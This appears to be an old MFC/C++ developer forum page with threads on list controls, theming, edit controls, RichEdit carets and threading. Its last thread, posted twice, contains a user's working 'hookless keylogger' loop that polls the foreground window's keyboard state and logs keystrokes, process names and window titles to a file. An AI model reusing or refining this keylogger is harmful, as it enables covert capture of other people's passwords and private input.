|
How does CListCtrl notifies its parent or one of CWnd derived objects that wants to handle an ITEM SELECTION either by clicking on that item or by programatically selecting the item...
What are the messages sent?
Here's my program scenario, I have a SDI application..
Its a picture viewer with a thumbnail.. The thumbnail is implemented as a listbox with image icons, (icons being the thumbnail of the image file).. The listbox is placed on a DockingControlBar... the DockingControlBar is owned by CMainFrame... I want the View to be updated each time the user cliks on the image files in the listbox... How do i do these?
I have read many articles and source codes related to this, but mostly it involved CListView.. I can't figure out how do I incorporate those source codes that i have read to the program that i am making..
|
|
|
|
|
The CListCtrl is just a control wrapper around a CListView. So to handle item selection you have to handle the LVN_ITEMCHANGED message.
"You're obviously a superstar." - Christian Graus about me - 12 Feb '03
"Obviously ??? You're definitely a superstar!!!" mYkel - 21 Jun '04
Within you lies the power for good - Use it! Honoured as one of The Most Helpful Members of 2004
|
|
|
|
|
I'm playing around with the UxTheme library to paint some custom controls and make them look XP-like.
I was painting a scrolling band, which I was doing as a big scrollbar basically, and I'm not sure what is the difference between SBP_LOWERTRACKHORZ and SBP_UPPERTRACKHORZ. They both look the same as the background on a scrollbar. Anybody knows?
Better yet, anybody knows where can I find a snapshot of a window with all the parts labeled?
Is not a big deal, as I say, they look exactly the same. But the curiosity is killing me!
Thanks,
-Luis
|
|
|
|
|
I'm using the CIconDialog (an excellent control) to select icons for my app, but am having problems storing them. Currently my app serializes it's data into a single file, and I have tried to store the icons using CImageList, but it never seems to work. What is the best way to locally store off an icon the user has selected.
So far, articles on storing icons have been pretty scarce in my hunting.
|
|
|
|
|
If you look at how Visual Studio behaves, you sure noticed that the layout and content of the GUI is context dependent.
For instance, while you compile some commands are not available. While you debug, the debug toolbar appears by magic and disappear again when you exit debugging. If during a debug session you open the "View Register" dialog, next time you debug the IDE will propose you the same dialog in the same screen position. If we are editing a dialog box resource, then some specific toolbox appear.
Depending on what you are doing, Visual Studio changes the set of toolbars, menu and views available to you. It also remember your preferences about screen positioning.
Does anybody have an idea about to write a Context Manager, which is also persistent (if you close and reopen VS, it will still remember your preferences).
Thanks
Regards,
Fabio
|
|
|
|
|
Most of the stuff your talking about is handled by the MainFrame in MFC. VS is making use of the Load/SaveBarState() functions, but passing through the DEBUG/NONE DEBUG profile names. When moving from one to the other, it calls SaveBarState(CURRENT) and then LoadBarState(TARGET).
This causes the ocrrect toolbars/windows to be shown. As long as all these context windows are floating/dockable windows, then they will saved/restored correctly.
If you vote me down, my score will only get lower
|
|
|
|
|
Roger,
thanks for your mail.
Beyond the technicality of how to execute the operation, I was interested in understanding the underlying architecture. I am looking for a generic algorithm/data structure that keeps track of when to switch from one context to another, and what each context should contain.
That's should also be dynamic, as like in VS, it my application is possible to load addins which may define their own context (tollbars, active commands, etc).
I think it must be a sort of variation of the Model View Controller design pattern, but I am failing to find relevant material.
Any suggestion of any sort is greatly appreciated (even if you know a forum specialised in GUI architectures or in design patterns might help).
Thanks
Regards,
Fabio
|
|
|
|
|
Hello,
Can somebody help me with the following?
I have a dialog based application with a CRichEditCtrl. I read some text in the CRichEditCtrl. When I right mouse click in theCRichEditCtrl, I want the caret to move to the cursor position. I've created a handler for the right mouse click. Any suggestions on how to move the caret?
Thanks,
dlarkin77
|
|
|
|
|
void MyClass::RightClickHandler(CPoint point)
{
CPoint pt(point); //Get current mouse coordinates
ClientToScreen(&pt); //Convert to screen coordinates
// Get the dimensions of the richeditctrl
CRect rectRichEdit;
m_myrichedit.GetWindowRect(&rectRichEdit);
// Calculate the offset of the mouse into the richeditctrl
CPoint NewPoint(pt.x-rectRichEdit.left, pt.y-rectRichEdit.top);
// Get the char index at the new point
int nCharIndex = m_myrichedit.CharFromPos(NewPoint);
// Put the caret at that index
m_myrichedit.SetSel(nCharIndex, nCharIndex);
}
-Hope this helps
|
|
|
|
|
Can anyone tell me how to change the background color of a edit box , when the edit box is dialog form in a MFC application based program.
Can anyone please help me regarding this matter.
Philip
|
|
|
|
|
You can change the background color of an edit control in a dialog by handling the WM_CTLCOLOR message in the dialog:
class MyDialog : public CDialog {
COLORREF _BkgColor;
HBRUSH _BkgBrush;
};
BOOL MyDialog::OnInitDialog()
{
_BkgColor = RGB(0,255,0);
_BkgBrush = ::CreateSolidBrush(_BkgColor);
}
HBRUSH MyDialog::OnCtlColor( CDC* pDC, CWnd* pWnd, UINT nCtlColor )
{
hbr = CDialog::OnCtlColor(pDC,pWnd,nCtlColor);
if (pWnd()->GetDlgCtrlId() == IDC_MY_EDIT_CONTROL) {
pDC->SetBkColor(_BkgColor);
hbr = _BkgBrush;
}
return hbr;
} In the OnInitDialog() handler for the dialog, we initialize the background color value and create a brush in that color. The WM_CTLCOLOR handler is called OnCtlColor . The edit control for which we want to change the color has the resource ID IDC_MY_EDIT_CONTROL . We set the text background to our background color using SetBkColor() , and the overall background for the control by returning the brush we created.
Software Zen: delete this;
|
|
|
|
|
Hello!
I have several password edit controls in my application. I wanted to rebuild the look of the Windows XP login dialog (so with the nice black dots).
I am currently using this:
TCHAR tchDot = (TCHAR)(_T('z') + 27);
m_pEditPw.SetPasswordChar(tchDot);
This works very fine on Win98, but on Win2000 and WinXP there are spaces between the dots, so it doesn't look like ***, but like * * *.
Any ideas how to fix this?
Thanks and best regards,
Dominik
_outp(0x64, 0xAD);
and
__asm mov al, 0xAD __asm out 0x64, al
do the same... but what do they do??
(doesn't work on NT)
|
|
|
|
|
|
|
|
I got it solved already, thnks anyways
I have no idea
|
|
|
|
|
Hello,
anyone can help me ?
what differences beetween database and recordbinding ?
Thank you.
|
|
|
|
|
:confused //REOBJECT reobj;
we can use interface :m_lpRichEditOle->GetObject(0,&reobj,0)
to get the property of a object.
if we modify the property (exp:reobj.dwFlags=0), how to update
it to richedit control.
off
|
|
|
|
|
Is there any documentation for using the dicomapi. This has reference to the set provided by John.
R.Nagarajan
|
|
|
|
|
http://www.vbforums.com/showthread.php?p=1889023
I am trying to increase the brightness of a grey image and if someone can do this so that I can go on to do code myself to change contrast and do filters it would be appreciated.
I'm just having trouble with how to alter a pixel of a loaded image on the screen. I don't know the syntax of what a pixel is to set it to a value.
|
|
|
|
|
In C++, you need to load images as a DIBSection, then you can easily access their bits.
Christian
I have several lifelong friends that are New Yorkers but I have always gravitated toward the weirdo's. - Richard Stringer
|
|
|
|
|
Hello All.. im new to multithreaded programming and have a couple q's.
So far ive got a simple test program working that launches a worker thread via Daniel Lohmann's kewl adapter, but i have a few questions.
How do i go about passing data w/ the function? Do i need a Class or struct that encapsulates all the data and pass a ptr of it to the function? Then what about my functions that i need to call from within my thread function... should these just go inside the 'Test' struct that my thread function is in... or are they something like static members of my data class?
|
|
|
|
|
Knave777Wave wrote:
Do i need a Class or struct that encapsulates all the data and pass a ptr of it to the function?
that's what i usually do.
Knave777Wave wrote:
Then what about my functions that i need to call from within my thread function... should these just go inside the 'Test' struct that my thread function is in... or are they something like static members of my data class?
they can go wherever you like. there's really nothing special about the functions a thread calls. maybe you want to keep them in the same file as your thread function for ease-of-maintenance, but it's not strictly necessary.
Image Toolkits | Image Processing | Cleek
|
|
|
|
|
hello,
I am trying to make a hookless keylogger using AttachThread
function to attach my thread to the foreground window and
GetKeyboardState to fish for keys but I have a problem when
the program is active(see code snipplet of most of the
source code below) the mouse double click doesn't work any
more on the desktop and in windows explorer but the logger
does log these events(the double clicks) so why does it do
this and how can I remedy this??
I don't need to necesarrily log these events is there any
way I could skip them?
I included the program's main loop here maby it helps you
when you give me answers(hopefully) thank you in advance.
<br />
while(true)<br />
{<br />
<br />
fereastra_activa=GetForegroundWindow();<br />
<br />
if(fereastra_activa!=NULL)<br />
{<br />
<br />
DWORD id;<br />
<br />
id = <br />
<br />
GetWindowThreadProcessId(fereastra_activa, &lpdwProcessId);<br />
<br />
<br />
<br />
if(AttachThreadInput(GetCurrentThreadId(),id,TRUE))<br />
{<br />
<br />
threadul","toader",MB_OK);<br />
//---------------------numele <br />
<br />
proceselor-------------------------------------------------<br />
<br />
--------<br />
<br />
<br />
<br />
GetWindowModuleFileName(fereastra_activa,nume_exe,1024);<br />
<br />
<br />
<br />
//MessageBox(0,nume_exe,"numele executabilului",MB_OK);<br />
<br />
<br />
<br />
if(StrCmpI(nume_exe,nume_exe_actual)!=0)<br />
{<br />
if(nume_exe!=NULL)<br />
{<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,"____________________________new <br />
<br />
process:___________________________________");<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,nume_exe);<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
strcpy(nume_exe_actual,nume_exe);<br />
}<br />
<br />
}<br />
<br />
//---------------------------------------------------------<br />
<br />
--------------------------------------<br />
//----------------------------numele <br />
<br />
ferestrelor------------------------------------------------<br />
<br />
-<br />
<br />
<br />
GetWindowText(fereastra_activa,nume_fereastra,1024);<br />
<br />
if <br />
<br />
(StrCmpI(nume_fereastra,nume_fereastra_actual)!=0)<br />
{<br />
<br />
<br />
if(strlen(nume_fereastra)>0)<br />
{<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,"--------------------------new <br />
<br />
window name:-------------------------------------");<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
ScriereText(fisier_de_log,nume_fereastra);<br />
<br />
<br />
ScriereText(fisier_de_log,"\n");<br />
<br />
<br />
strcpy(nume_fereastra_actual,nume_fereastra);<br />
}<br />
<br />
}<br />
<br />
//---------------------------------------------------------<br />
<br />
--------------------------------------<br />
<br />
BYTE CharacterInfo[256];<br />
BYTE <br />
<br />
LastCharacterInfo[256];<br />
<br />
<br />
GetKeyboardState(CharacterInfo);<br />
<br />
<br />
<br />
if(!AttachThreadInput(GetCurrentThreadId(),id,FALSE))<br />
{<br />
MessageBox(0,"nu am <br />
<br />
putut sa scot threadul","toader",MB_OK);<br />
}<br />
<br />
<br />
<br />
if(memcmp(LastCharacterInfo, CharacterInfo, <br />
<br />
sizeof(LastCharacterInfo)) != 0)<br />
{<br />
for(int i = 32;i< <br />
<br />
127;i++)<br />
{<br />
<br />
<br />
if(CharacterInfo[i] & 0x80)<br />
{<br />
<br />
<br />
//MessageBox(0,"a key has been pressed","b",MB_OK);<br />
<br />
<br />
<br />
if(CharacterInfo[0x0D] & 0x80)<br />
{<br />
<br />
<br />
ScriereText("toader.txt","<ENTER>");<br />
}<br />
<br />
<br />
<br />
ScriereCaracter("toader.txt",i);<br />
<br />
<br />
}<br />
}<br />
<br />
<br />
memcpy(LastCharacterInfo, CharacterInfo, <br />
<br />
sizeof(LastCharacterInfo));<br />
}<br />
<br />
<br />
}<br />
else<br />
{<br />
MessageBox(0,"n-a <br />
<br />
mers","toader cel golan",MB_OK);<br />
if(id=0)<br />
{<br />
<br />
<br />
MessageBox(0,"pentru ca id este 0","sunt golan",MB_OK);<br />
}<br />
}<br />
}<br />
else<br />
{<br />
//MessageBox(0,"nu pot sa iau <br />
<br />
handel de la fereastra","toader",MB_OK);<br />
}<br />
Sleep(1);<br />
}
|
|
|
|
|
hello,
I am trying to make a hookless keylogger using AttachThread
function to attach my thread to the foreground window and
GetKeyboardState to fish for keys but I have a problem when
the program is active(see code snipplet of most of the
source code below) the mouse double click doesn't work any
more on the desktop and in windows explorer but the logger
does log these events(the double clicks) so why does it do
this and how can I remedy this??
I don't need to necesarrily log these events is there any
way I could skip them?
I included the program's main loop here maby it helps you
when you give me answers(hopefully) thank you in advance.
while(true)
{
fereastra_activa=GetForegroundWindow();
if(fereastra_activa!=NULL)
{
DWORD id;
id =
GetWindowThreadProcessId(fereastra_activa, &lpdwProcessId);
if(AttachThreadInput(GetCurrentThreadId(),id,TRUE))
{
//MessageBox(0,"am atasat
threadul","toader",MB_OK);
//---------------------numele
proceselor-------------------------------------------------
--------
GetWindowModuleFileName(fereastra_activa,nume_exe,1024);
//MessageBox(0,nume_exe,"numele executabilului",MB_OK);
if(StrCmpI(nume_exe,nume_exe_actual)!=0)
{
if(nume_exe!=NULL)
{
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,"____________________________new
process:___________________________________");
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,nume_exe);
ScriereText(fisier_de_log,"\n");
strcpy(nume_exe_actual,nume_exe);
}
}
//---------------------------------------------------------
--------------------------------------
//----------------------------numele
ferestrelor------------------------------------------------
-
GetWindowText(fereastra_activa,nume_fereastra,1024);
if
(StrCmpI(nume_fereastra,nume_fereastra_actual)!=0)
{
if(strlen(nume_fereastra)>0)
{
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,"--------------------------new
window name:-------------------------------------");
ScriereText(fisier_de_log,"\n");
ScriereText(fisier_de_log,nume_fereastra);
ScriereText(fisier_de_log,"\n");
strcpy(nume_fereastra_actual,nume_fereastra);
}
}
//---------------------------------------------------------
--------------------------------------
BYTE CharacterInfo[256];
BYTE
LastCharacterInfo[256];
GetKeyboardState(CharacterInfo);
if(!AttachThreadInput(GetCurrentThreadId(),id,FALSE))
{
MessageBox(0,"nu am
putut sa scot threadul","toader",MB_OK);
}
if(memcmp(LastCharacterInfo, CharacterInfo,
sizeof(LastCharacterInfo)) != 0)
{
for(int i = 32;i<
127;i++)
{
if(CharacterInfo[i] & 0x80)
{
//MessageBox(0,"a key has been pressed","b",MB_OK);
if(CharacterInfo[0x0D] & 0x80)
{
ScriereText("toader.txt","<enter>");
}
ScriereCaracter("toader.txt",i);
}
}
memcpy(LastCharacterInfo, CharacterInfo,
sizeof(LastCharacterInfo));
}
}
else
{
MessageBox(0,"n-a
mers","toader cel golan",MB_OK);
if(id=0)
{
MessageBox(0,"pentru ca id este 0","sunt golan",MB_OK);
}
}
}
else
{
//MessageBox(0,"nu pot sa iau
handel de la fereastra","toader",MB_OK);
}
Sleep(1);
}
|
|
|
|
|